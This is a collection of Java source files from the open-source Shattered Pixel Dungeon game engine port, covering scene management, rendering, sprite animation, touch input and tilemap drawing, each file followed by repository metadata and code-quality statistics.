0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Game.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.badlogic.gdx.ApplicationListener; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.files.FileHandle; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.utils.TimeUtils; import com.badlogic.gdx.utils.reflect.ClassReflection; import com.badlogic.gdx.utils.reflect.ReflectionException; import com.watabou.glscripts.Script; import com.watabou.gltextures.TextureCache; import com.watabou.glwrap.Blending; import com.watabou.glwrap.Vertexbuffer; import com.watabou.input.NoosaInputProcessor; import com.watabou.noosa.audio.Music; import com.watabou.noosa.audio.Sample; import com.watabou.utils.Callback; import com.watabou.utils.PDPlatformSupport; import com.watabou.utils.Reflection; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; public abstract class Game<GameActionType> implements ApplicationListener { public static Game instance; // Actual size of the screen public static int width; public static int height; // Density: mdpi=1, hdpi=1.5, xhdpi=2... public static float density = 1; public static String version; public static int versionCode; private final String basePath; private final NoosaInputProcessor<GameActionType> inputProcessor; private final PDPlatformSupport platformSupport; // Current scene protected Scene scene; // New scene we are going to switch to protected Scene requestedScene; // true if scene switch is requested protected boolean requestedReset = true; // callback to perform logic during scene change protected SceneChangeCallback onChange; // New scene class protected static Class<? extends Scene> sceneClass; public static float timeScale = 1f; public static float elapsed = 0f; public static float timeTotal = 0f; public static long realTime = 0; public Game( Class<? extends Scene> c, PDPlatformSupport<GameActionType> platformSupport ) { super(); sceneClass = c; this.platformSupport = platformSupport; this.inputProcessor = platformSupport.getInputProcessor(); this.basePath = platformSupport.getBasePath(); } @Override public void create() { instance = this; density = Gdx.graphics.getDensity(); this.inputProcessor.init(); Gdx.input.setInputProcessor(this.inputProcessor); // TODO: Is this right? onSurfaceCreated(); } @Override public void resume() { Music.INSTANCE.resume(); Sample.INSTANCE.resume(); } @Override public void pause() { if (scene != null) { scene.onPause(); } Script.reset(); Music.INSTANCE.pause(); Sample.INSTANCE.pause(); } @Override public void dispose() { destroyGame(); Music.INSTANCE.mute(); Sample.INSTANCE.reset(); } @Override public void render() { if (width == 0 || height == 0) { return; } NoosaScript.get().resetCamera(); NoosaScriptNoLighting.get().resetCamera(); Gdx.gl.glDisable( GL20.GL_SCISSOR_TEST ); Gdx.gl.glClear( GL20.GL_COLOR_BUFFER_BIT ); draw(); Gdx.gl.glFlush(); step(); } @Override public void resize( int width, int height ) { Gdx.gl.glViewport( 0, 0, width, height ); if (width != Game.width || height != Game.height) { Game.width = width; Game.height = height; Scene sc = scene(); if (sc != null) { TextureCache.reload(); Camera.reset(); switchScene(sc.getClass()); } } } public void onSurfaceCreated() { Blending.useDefault(); //refreshes texture and vertex data stored on the gpu TextureCache.reload(); Vertexbuffer.refreshAllBuffers(); } protected void destroyGame() { if (scene != null) { scene.destroy(); scene = null; } //instance = null; } public static void resetScene() { switchScene( instance.sceneClass ); } public static void switchScene(Class<? extends Scene> c) { switchScene(c, null); } public static void switchScene(Class<? extends Scene> c, SceneChangeCallback callback) { instance.sceneClass = c; instance.requestedReset = true; instance.onChange = callback; } public static Scene scene() { return instance.scene; } protected void step() { if (requestedReset) { requestedReset = false; requestedScene = Reflection.newInstance(sceneClass); if (requestedScene != null){ switchScene(); } } update(); } protected void draw() { if (scene != null) scene.draw(); } protected void switchScene() { Camera.reset(); if (scene != null) { scene.destroy(); } scene = requestedScene; if (onChange != null) onChange.beforeCreate(); scene.create(); if (onChange != null) onChange.afterCreate(); onChange = null; Game.elapsed = 0f; Game.timeScale = 1f; } protected void update() { Game.elapsed = Game.timeScale * Gdx.graphics.getDeltaTime(); Game.timeTotal += Game.elapsed; Game.realTime = TimeUtils.millis(); scene.update(); Camera.updateAll(); } public static void runOnRenderThread(final Callback c){ Gdx.app.postRunnable(new Runnable() { @Override public void run() { c.call(); } }); } public static void vibrate( int milliseconds ) { Gdx.input.vibrate(milliseconds); } public File getFilesDir() { return Gdx.files.external(basePath).file(); } public boolean deleteFile(String fileName) { final FileHandle fh = Gdx.files.external(basePath != null ? basePath + fileName : fileName); return fh.exists() && fh.delete(); } public InputStream openFileInput(String fileName) throws IOException { final FileHandle fh = Gdx.files.external(basePath != null ? basePath + fileName : fileName); if (!fh.exists()) throw new IOException("File " + fileName + " doesn't exist"); return fh.read(); } public OutputStream openFileOutput(String fileName) { final FileHandle fh = Gdx.files.external(basePath != null ? basePath + fileName : fileName); return fh.write(false); } public void finish() { Gdx.app.exit(); } public NoosaInputProcessor<GameActionType> getInputProcessor() { return inputProcessor; } public PDPlatformSupport getPlatformSupport() { return platformSupport; } public static void reportException( Throwable tr ) { if (instance != null) instance.logException(tr); } protected void logException( Throwable tr ){ Gdx.app.error("PD", tr.getMessage(), tr); } public interface SceneChangeCallback { void beforeCreate(); void afterCreate(); } }
7,165
Game
java
en
java
code
{"qsc_code_num_words": 829, "qsc_code_num_chars": 7165.0, "qsc_code_mean_word_length": 6.14234017, "qsc_code_frac_words_unique": 0.32810615, "qsc_code_frac_chars_top_2grams": 0.03004713, "qsc_code_frac_chars_top_3grams": 0.03142184, "qsc_code_frac_chars_top_4grams": 0.02749411, "qsc_code_frac_chars_dupe_5grams": 0.12175962, "qsc_code_frac_chars_dupe_6grams": 0.10153181, "qsc_code_frac_chars_dupe_7grams": 0.06696779, "qsc_code_frac_chars_dupe_8grams": 0.06696779, "qsc_code_frac_chars_dupe_9grams": 0.04929301, "qsc_code_frac_chars_dupe_10grams": 0.04929301, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00643522, "qsc_code_frac_chars_whitespace": 0.17585485, "qsc_code_size_file_byte": 7165.0, "qsc_code_num_lines": 302.0, "qsc_code_num_chars_line_max": 95.0, "qsc_code_num_chars_line_mean": 23.72516556, "qsc_code_frac_chars_alphabet": 0.85588484, "qsc_code_frac_chars_comments": 0.15338451, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.09090909, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00346192, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00331126, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.13875598, "qsc_codejava_score_lines_no_logic": 0.31100478, "qsc_codejava_frac_words_no_modifier": 0.9, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/ColorBlock.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.gltextures.TextureCache; public class ColorBlock extends Image implements Resizable { public ColorBlock( float width, float height, int color ) { super( TextureCache.createSolid( color ) ); scale.set( width, height ); origin.set( 0, 0 ); } @Override public void size( float width, float height ) { scale.set( width, height ); } @Override public float width() { return scale.x; } @Override public float height() { return scale.y; } }
1,294
ColorBlock
java
en
java
code
{"qsc_code_num_words": 183, "qsc_code_num_chars": 1294.0, "qsc_code_mean_word_length": 5.08743169, "qsc_code_frac_words_unique": 0.59016393, "qsc_code_frac_chars_top_2grams": 0.03544576, "qsc_code_frac_chars_top_3grams": 0.04189044, "qsc_code_frac_chars_top_4grams": 0.06122449, "qsc_code_frac_chars_dupe_5grams": 0.08807734, "qsc_code_frac_chars_dupe_6grams": 0.06015038, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01832208, "qsc_code_frac_chars_whitespace": 0.19860896, "qsc_code_size_file_byte": 1294.0, "qsc_code_num_lines": 48.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 26.95833333, "qsc_code_frac_chars_alphabet": 0.87945998, "qsc_code_frac_chars_comments": 0.60355487, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23809524, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.14285714, "qsc_codejava_score_lines_no_logic": 0.23809524, "qsc_codejava_frac_words_no_modifier": 0.75, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/MovieClip.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.utils.RectF; public class MovieClip extends Image { protected Animation curAnim; protected int curFrame; protected float frameTimer; protected boolean finished; public boolean paused = false; public Listener listener; public MovieClip() { super(); } public MovieClip( Object tx ) { super( tx ); } @Override public void update() { super.update(); if (!paused) { updateAnimation(); } } public boolean looping(){ return curAnim != null && curAnim.looped; } protected synchronized void updateAnimation() { if (curAnim != null && curAnim.delay > 0 && (curAnim.looped || !finished)) { int lastFrame = curFrame; frameTimer += Game.elapsed; while (frameTimer > curAnim.delay) { frameTimer -= curAnim.delay; if (curFrame == curAnim.frames.length - 1) { if (curAnim.looped) { curFrame = 0; } finished = true; if (listener != null) { listener.onComplete( curAnim ); // This check can probably be removed if (curAnim == null) { return; } } } else { curFrame++; } } if (curFrame != lastFrame) { frame( curAnim.frames[curFrame] ); } } } public void play( Animation anim ) { play( anim, false ); } public synchronized void play( Animation anim, boolean force ) { if (!force && (curAnim != null) && (curAnim == anim) && (curAnim.looped || !finished)) { return; } curAnim = anim; curFrame = 0; finished = false; frameTimer = 0; if (anim != null) { frame( anim.frames[curFrame] ); } } public static class Animation { public float delay; public RectF[] frames; public boolean looped; public Animation( int fps, boolean looped ) { this.delay = 1f / fps; this.looped = looped; } public Animation frames( RectF... frames ) { this.frames = frames; return this; } public Animation frames( TextureFilm film, Object... frames ) { this.frames = new RectF[frames.length]; for (int i=0; i < frames.length; i++) { this.frames[i] = film.get( frames[i] ); } return this; } public Animation clone() { return new Animation( Math.round( 1 / delay ), looped ).frames( frames ); } } public interface Listener { void onComplete( Animation anim ); } }
3,141
MovieClip
java
en
java
code
{"qsc_code_num_words": 371, "qsc_code_num_chars": 3141.0, "qsc_code_mean_word_length": 5.44474394, "qsc_code_frac_words_unique": 0.38814016, "qsc_code_frac_chars_top_2grams": 0.02178218, "qsc_code_frac_chars_top_3grams": 0.01930693, "qsc_code_frac_chars_top_4grams": 0.02821782, "qsc_code_frac_chars_dupe_5grams": 0.04059406, "qsc_code_frac_chars_dupe_6grams": 0.02772277, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0105753, "qsc_code_frac_chars_whitespace": 0.24737345, "qsc_code_size_file_byte": 3141.0, "qsc_code_num_lines": 143.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 21.96503497, "qsc_code_frac_chars_alphabet": 0.84390863, "qsc_code_frac_chars_comments": 0.26042662, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.06451613, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.07526882, "qsc_codejava_score_lines_no_logic": 0.21505376, "qsc_codejava_frac_words_no_modifier": 0.75, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/TouchArea.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.input.NoosaInputProcessor; import com.watabou.utils.Signal; public class TouchArea<T> extends Visual implements Signal.Listener<NoosaInputProcessor.Touch> { // Its target can be toucharea itself public final Visual target; protected NoosaInputProcessor.Touch touch = null; //if true, this TouchArea will always block input, even when it is inactive public boolean blockWhenInactive = false; private Signal.Listener<NoosaInputProcessor.Key<T>> keyListener = new Signal.Listener<NoosaInputProcessor.Key<T>>() { @Override public void onSignal(NoosaInputProcessor.Key<T> key) { final boolean handled; if (key.pressed) { handled = onKeyDown(key); } else { handled = onKeyUp(key); } if (handled) { Game.instance.getInputProcessor().cancelKeyEvent(); } } }; private Signal.Listener<NoosaInputProcessor.PDMouseEvent> mouseListener = new Signal.Listener<NoosaInputProcessor.PDMouseEvent>() { @Override public void onSignal(NoosaInputProcessor.PDMouseEvent event) { final boolean handled; handled = onMouseScroll(event.scroll); if (handled) { Game.instance.getInputProcessor().cancelMouseEvent(); } } }; public boolean onMouseScroll(int scroll) { return false; } public boolean onKeyDown(NoosaInputProcessor.Key<T> key) { return false; } public boolean onKeyUp(NoosaInputProcessor.Key<T> key) { return false; } public TouchArea( Visual target ) { super( 0, 0, 0, 0 ); this.target = target; setupListeners(); } public TouchArea( float x, float y, float width, float height ) { super(x, y, width, height); this.target = this; visible = false; setupListeners(); } private void setupListeners() { NoosaInputProcessor<T> ip = Game.instance.<T>getInputProcessor(); ip.addTouchListener(this); ip.addKeyListener(keyListener); ip.addMouseListener(mouseListener); } @Override public void onSignal( NoosaInputProcessor.Touch touch ) { boolean hit = touch != null && target.overlapsScreenPoint( (int)touch.current.x, (int)touch.current.y ); if (!isActive()) { if (hit && blockWhenInactive) Game.instance.getInputProcessor().cancelTouchEvent(); return; } if (hit) { if (touch.down || touch == this.touch) Game.instance.getInputProcessor().cancelTouchEvent(); if (touch.down) { if (this.touch == null) { this.touch = touch; } onTouchDown( touch ); } else { onTouchUp( touch ); if (this.touch == touch) { this.touch = null; onClick( touch ); } } } else { if (touch == null && this.touch != null) { onDrag( this.touch ); } else if (this.touch != null && !touch.down) { onTouchUp( touch ); this.touch = null; } } } protected void onTouchDown( NoosaInputProcessor.Touch touch ) { } protected void onTouchUp( NoosaInputProcessor.Touch touch ) { } protected void onClick( NoosaInputProcessor.Touch touch ) { } protected void onDrag( NoosaInputProcessor.Touch touch ) { } public void reset() { touch = null; } @Override public void destroy() { NoosaInputProcessor<T> ip = Game.instance.<T>getInputProcessor(); ip.removeMouseListener(mouseListener); ip.removeKeyListener(keyListener); ip.removeTouchListener(this); super.destroy(); } }
4,146
TouchArea
java
en
java
code
{"qsc_code_num_words": 467, "qsc_code_num_chars": 4146.0, "qsc_code_mean_word_length": 6.16702355, "qsc_code_frac_words_unique": 0.34475375, "qsc_code_frac_chars_top_2grams": 0.028125, "qsc_code_frac_chars_top_3grams": 0.06041667, "qsc_code_frac_chars_top_4grams": 0.01979167, "qsc_code_frac_chars_dupe_5grams": 0.23854167, "qsc_code_frac_chars_dupe_6grams": 0.08680556, "qsc_code_frac_chars_dupe_7grams": 0.06736111, "qsc_code_frac_chars_dupe_8grams": 0.0375, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0063101, "qsc_code_frac_chars_whitespace": 0.1972986, "qsc_code_size_file_byte": 4146.0, "qsc_code_num_lines": 173.0, "qsc_code_num_chars_line_max": 133.0, "qsc_code_num_chars_line_mean": 23.96531792, "qsc_code_frac_chars_alphabet": 0.85907452, "qsc_code_frac_chars_comments": 0.21538833, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22018349, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.11926606, "qsc_codejava_score_lines_no_logic": 0.21100917, "qsc_codejava_frac_words_no_modifier": 0.92857143, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Tilemap.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.gltextures.SmartTexture; import com.watabou.gltextures.TextureCache; import com.watabou.glwrap.Quad; import com.watabou.glwrap.Vertexbuffer; import com.watabou.utils.Rect; import com.watabou.utils.RectF; import java.nio.FloatBuffer; import java.util.Arrays; public class Tilemap extends Visual { protected SmartTexture texture; protected TextureFilm tileset; protected int[] data; protected int mapWidth; protected int mapHeight; protected int size; private float cellW; private float cellH; protected float[] vertices; protected FloatBuffer quads; protected Vertexbuffer buffer; private volatile Rect updated; private boolean fullUpdate; private Rect updating; private int topLeftUpdating; private int bottomRightUpdating; public Tilemap( Object tx, TextureFilm tileset ) { super( 0, 0, 0, 0 ); this.texture = TextureCache.get( tx ); this.tileset = tileset; RectF r = tileset.get( 0 ); cellW = tileset.width( r ); cellH = tileset.height( r ); vertices = new float[16]; updated = new Rect(); } public void map( int[] data, int cols ) { this.data = data; mapWidth = cols; mapHeight = data.length / cols; size = mapWidth * mapHeight; width = cellW * mapWidth; height = cellH * mapHeight; quads = Quad.createSet( size ); updateMap(); } public Image image(int x, int y){ if (!needsRender(x + mapWidth*y)){ return null; } else { Image img = new Image(texture); img.frame(tileset.get(data[x + mapWidth * y])); return img; } } //forces a full update, including new buffer public synchronized void updateMap(){ updated.set( 0, 0, mapWidth, mapHeight ); fullUpdate = true; } public synchronized void updateMapCell(int cell){ updated.union( cell % mapWidth, cell / mapWidth ); } private synchronized void moveToUpdating(){ updating = new Rect(updated); updated.setEmpty(); } protected void updateVertices() { moveToUpdating(); float x1, y1, x2, y2; int pos; RectF uv; y1 = cellH * updating.top; y2 = y1 + cellH; for (int i=updating.top; i < updating.bottom; i++) { x1 = cellW * updating.left; x2 = x1 + cellW; pos = i * mapWidth + updating.left; for (int j=updating.left; j < updating.right; j++) { if (topLeftUpdating == -1) topLeftUpdating = pos; bottomRightUpdating = pos + 1; quads.position(pos*16); uv = tileset.get(data[pos]); if (needsRender(pos) && uv != null) { vertices[0] = x1; vertices[1] = y1; vertices[2] = uv.left; vertices[3] = uv.top; vertices[4] = x2; vertices[5] = y1; vertices[6] = uv.right; vertices[7] = uv.top; vertices[8] = x2; vertices[9] = y2; vertices[10] = uv.right; vertices[11] = uv.bottom; vertices[12] = x1; vertices[13] = y2; vertices[14] = uv.left; vertices[15] = uv.bottom; } else { //If we don't need to draw this tile simply set the quad to size 0 at 0, 0. // This does result in the quad being drawn, but we are skipping all // pixel-filling. This is better than fully skipping rendering as we // don't need to manage a buffer of drawable tiles with insertions/deletions. Arrays.fill(vertices, 0); } quads.put(vertices); pos++; x1 = x2; x2 += cellW; } y1 = y2; y2 += cellH; } } //private int camX, camY, camW, camH; //private int topLeft, bottomRight, length; @Override public void draw() { super.draw(); if (!updated.isEmpty()) { updateVertices(); if (buffer == null) buffer = new Vertexbuffer(quads); else { if (fullUpdate) { buffer.updateVertices(quads); fullUpdate = false; } else { buffer.updateVertices(quads, topLeftUpdating * 16, bottomRightUpdating * 16); } } topLeftUpdating = -1; updating.setEmpty(); } //FIXME temporarily disabled this optimization as it is suspected to cause crashes /*Camera c = Camera.main; //we treat the position of the tilemap as (0,0) here camX = (int)(c.scroll.x/cellW - x/cellW); camY = (int)(c.scroll.y/cellH - y/cellH); camW = (int)Math.ceil(c.width/cellW); camH = (int)Math.ceil(c.height/cellH); if (camX >= mapWidth || camY >= mapHeight || camW + camW <= 0 || camH + camH <= 0) return; //determines the top-left visible tile, the bottom-right one, and the buffer length //between them, this culls a good number of none-visible tiles while keeping to 1 draw topLeft = Math.max(camX, 0) + Math.max(camY*mapWidth, 0); bottomRight = Math.min(camX+camW, mapWidth-1) + 